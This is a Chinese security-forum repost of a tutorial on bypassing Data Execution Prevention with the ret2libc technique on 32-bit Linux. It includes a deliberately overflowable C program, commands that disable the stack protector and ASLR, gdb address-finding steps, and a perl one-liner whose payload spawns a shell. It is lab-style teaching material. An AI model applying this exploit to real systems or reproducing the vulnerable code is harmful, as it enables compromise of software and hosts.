安全矩阵

 找回密码
 立即注册
搜索
查看: 4118|回复: 0

使用ret2libc攻击方法绕过数据执行保护

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-3-24 22:18:57 | 显示全部楼层 |阅读模式
原文转自 qwertwwwe的博客
参考:[1] http://blog.csdn.net/linyt/article/details/43643499
   [2] http://blog.csdn.net/zhongyunde/article/details/8607401
主要内从是从[1]中抄过来的,修改了测试用例,原始例子我这测试通不过。。。

前面介绍的攻击方法大量使用Shellcode,核心思想是修改EIP和注入Shellcode,在函数返回时跳到Shellcode去执行。要防止这种攻击,最有效的办法就是让攻击者注入的Shellcode无法执行,这就是数据执行保护(Data Execution Prevention, DEP)安全机制的初衷。

数据执行保护机制
DEP述语是微软公司提出来的,在window XP操作系统开始支持该安全特性。DEP特性需要硬件页表机制来提供支持。
X86 32位架构页表上没有NX(不可执行)位,只有X86 64位才支持NX位。 所以Window XP和Window 2003在64位CPU直接使用硬件的NX位来实现;而32位系统上则使用软件模拟方式去实现。

Linux在X86 32位CPU没有提供软件的DEP机制,在64位CPU则利用NX位来实现DEP(当前Linux很少将该特性说成DEP)。

DEP就是将非代码段的地址空间设置成不可执行属性,一旦系统从这些地址空间进行取指令时,CPU就是报内存违例异常,进而杀死进程。栈空间也被操作系统设置了不可执行属性,因此注入的Shellcode就无法执行了。
DEP破解方法——ret2libc

“魔高一尺,道高一丈”这句话有时候是否可以反过来说呢? 因为攻和防都是相互发展,如果没有了攻,就没有安全机制的发展。
既然注入Shellcode无法执行,进程和动态库的代码段怎么也要执行吧,具有可执行属性,那攻击者能否利用进程空间现有的代码段进行攻击,答案是肯定的。

前面介绍了本地shellcode的编写,它的功能是通过execve执行/bin/sh,那么系统函数库(Linux称为glibc)有个system函数,它就是通过/bin/sh命令去执行一个用户执行命令或者脚本,我们完全可以利用system来实现Shellcode的功能。EIP一旦改写成system函数地址后,那执行system函数时,它需要获取参数。而根据Linux X86 32位函数调用约定,参数是压到栈上的。噢,栈空间完全由我们控制了,所以控制system的函数不是一件难事情。

这种攻击方法称之为ret2libc,即return-to-libc,返回到系统库函数执行 的攻击方法。

构建栈结构  (下图来自参考[2])


首先在执行栈结构中,将EIP填充为system函数的地址,然后函数返回时,跳到system函数中执行。在执行刚进入system函数时,此时esp指向的地址为前EIP高4字节的地址,然后在system函数,从它的视角来看,esp指向的是它的返回地址(EIP),而esp + 8就是它的函数,整个结构如下图所示:
观察上图,发现system函数完后,它会从EIP(unkown)这空间获取返回到上级函数,为了防止system返回后出现程序运错误,我们在这里面可以填上exit函数的址,让程序默默地退出。
因此,攻击注入的结构是:

AxN + system_addr + exit_addr + arg

system函数的参数使用什么好呢?Linux里面有个环境变量SHELL,我们只要将这个环境变的地址找出来,就把它传给system。

漏洞代码和编译过程
这里我们还是使用前面介绍 ret2reg攻击方法的例法,但为了避免冲突,将程序命名stack3.c
  1. #include <stdio.h>
  2. #include <string.h>

  3. void f()
  4. {
  5.     char buffer[32];
  6.     FILE *fp;

  7.     fp = fopen("bad.txt", "r");
  8.     if(!fp) {
  9.         perror("fopen");
  10.         return ;
  11.     }
  12.     fread(buffer, 1024, 1, fp);
  13.     printf("data : %s\n", buffer);
  14. }

  15. void f2()
  16. {
  17.     f();
  18. }
  19. int main(int argc, char **argv)
  20. {
  21.     f2();
  22.     return 0;
  23. }
复制代码

编译:
$ gcc -Wall -g -o stack3 stack3.c -fno-stack-protector -m32
请注意,gcc命令中少了-z execstack参数,即程序在加载运行后,栈不可以执行。
同时需要禁用地址随机化功能:
echo 0 > /proc/sys/kernel/randomize_va_space


对准EIP,查找system、exit和shell地址
对准EIP方法和前面的完全一样,首先以32个A,追加"BBBB",然后每次增加 4个A,真到生成core,EIP被注入为"BBBB":
$ perl -e 'printf "A"x48 . "BBBB"' > bad.txt ; ./stack3

$ gdb ./stack3 core -q
Reading symbols from /home/ivan/exploit/stack3...done.
[New LWP 4230]

warning: Can't read pathname for load map: Input/output error.
Core was generated by `./stack3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e43920 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xf7e37790 <exit>

从core文件中看到,EIP被注入了BBBB。 system和exit函数地址分别是: 0xf7e43920和0xf7e37790
进程的环境变量在主线程的函数栈内,从ESP开始,查看所有的字符串,直到出现"shell="这样的字符串:

(gdb) x/10000s $esp
...
0xffffd307:    "CLUTTER_IM_MODULE=xim"
0xffffd31d:    "GPG_AGENT_INFO=/home/rg/.gnupg/S.gpg-agent:0:1"
0xffffd34c:    "TERM=xterm-256color"
0xffffd360:    "VTE_VERSION=4205"
0xffffd371:    "SHELL=/bin/bash"
0xffffd381:    "QT_LINUX_ACCESSIBILITY_ALWAYS_ON=1"
0xffffd3a4:    "WINDOWID=67108874"
0xffffd3b6:    "LC_NUMERIC=zh_CN.UTF-8"
0xffffd3cd:    "UPSTART_SESSION=unix:abstract=/com/ubuntu/upstart-session/1000/1243"
0xffffd411:    "GNOME_KEYRING_CONTROL="
0xffffd428:    "GTK_MODULES=gail:atk-bridge:unity-gtk-module"

发现0xffffd371有"SHELL=/bin/bash"环境变化,直接提取字符串:
(gdb) x/s 0xffffd371+6
0xffffd377:    "/bin/bash"

ok,system, exit和字符串地址都清楚了,那构造攻击内容为:

"A"x48 + "\x20\x39\xe4\xf7" + "\x90\x77\xe3\xf7" + "\x77\xd3\xff\xff"'

测试
$ perl -e 'printf "A"x48 . "\x20\x39\xe4\xf7" . "\x90\x77\xe3\xf7" . "\x77\xd3\xff\xff"' > bad.txt ; ./stack3
成功打开了一个bash。

最后的测试好坑,在我的测试中,最后程序结束完,bash并没有任何变化,也没有出现报错的情况,我一直以为是没有测试成功。
直到最后我准备关掉term时,才发现,当前的term已经不是之前那个了,ctrl+D推出的是测试时打开的term~

本文内容主要从以下两个博客中学习和抄写而来,结合自己的测试代码:
[1] http://blog.csdn.net/linyt/article/details/43643499
[2] http://blog.csdn.net/zhongyunde/article/details/8607401




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-19 14:31 , Processed in 0.012740 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表